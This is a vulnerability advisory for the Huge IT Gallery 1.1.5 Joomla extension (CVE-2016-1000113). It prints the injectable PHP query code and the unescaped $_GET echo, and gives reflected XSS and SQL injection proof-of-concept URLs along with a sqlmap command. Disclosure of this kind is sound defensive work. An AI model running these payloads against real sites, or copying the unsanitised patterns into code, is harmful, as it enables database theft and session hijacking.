Joomla Huge IT Gallery 1.1.5 Cross Site Scripting / SQL Injection

`Title: XSS and SQLi in huge IT gallery v1.1.5 for Joomla  
Author: Larry W. Cashdollar, @_larry0 Elitza Neytcheva, @E1337za   
Date: 2016-07-14  
Download Site: http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-pro  
Vendor: huge-it.com  
Vendor Notified: 2016-07-15, fixed v1.1.6  
Vendor Contact: [email protected]  
Advisory: http://www.vapidlabs.com/advisory.php?v=164  
Description: The plugin allows you to add multiple images to the gallery, create countless galleries, add a description to each of them, as well as make the same things with video links.  
Vulnerability:  
The attacker does not need to be logged in to Joomla to exploit this vulnerability:  
  
SQL in code via id parameter:  
./administrator/components/com_gallery/models/gallery.php  
51 public function getPropertie() {  
52 $db = JFactory::getDBO();  
53 $id_cat = JRequest::getVar('id');  
54 $query = $db->getQuery(true);  
55 $query->select('#__huge_itgallery_images.name as name,'  
56 . '#__huge_itgallery_images.id ,'  
57 . '#__huge_itgallery_gallerys.name as portName,'  
58 . 'gallery_id, #__huge_itgallery_images.description as description,image_url,sl_url,sl_type,link_target,#__huge_itg allery_images.ordering,#__huge_itgallery_images.published,published_in_sl_width');  
59 $query->from(array('#__huge_itgallery_gallerys' => '#__huge_itgallery_gallerys', '#__huge_itgallery_images' => '#__huge_itg allery_images'));  
60 $query->where('#__huge_itgallery_gallerys.id = gallery_id')->where('gallery_id=' . $id_cat);  
61 $query->order('ordering desc');  
62   
64 $db->setQuery($query);  
65 $results = $db->loadObjectList();  
66 return $results;  
67 }  
  
XSS is here:  
  
root@Joomla:/var/www/html# find . -name "*.php" -exec grep -l "echo \$_GET" {} \;  
./administrator/components/com_gallery/views/gallery/tmpl/default.php  
root@Joomla:/var/www/html# find . -name "*.php" -exec grep -n "echo \$_GET" {} \;  
256: <a class="modal" rel="{handler: 'iframe', size: {x: 800, y: 500}}" href="index.php?option=com_gallery&view=video&tmpl=component&pid=<?php echo $_GET['id']; ?>" title="Image" >  
CVE-2016-1000113  
Exploit Code:  
XSS PoC  
http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E  
  
SQLi PoC  
http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=SQLiHERE  
  
http://192.168.0.125/index.php?option=com_gallery&id=HERE  
  
Video by 'Exploiter':  
https://www.youtube.com/watch?v=U67iQ3-xcho  
  
$ sqlmap --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=*" --dbms mysql  
`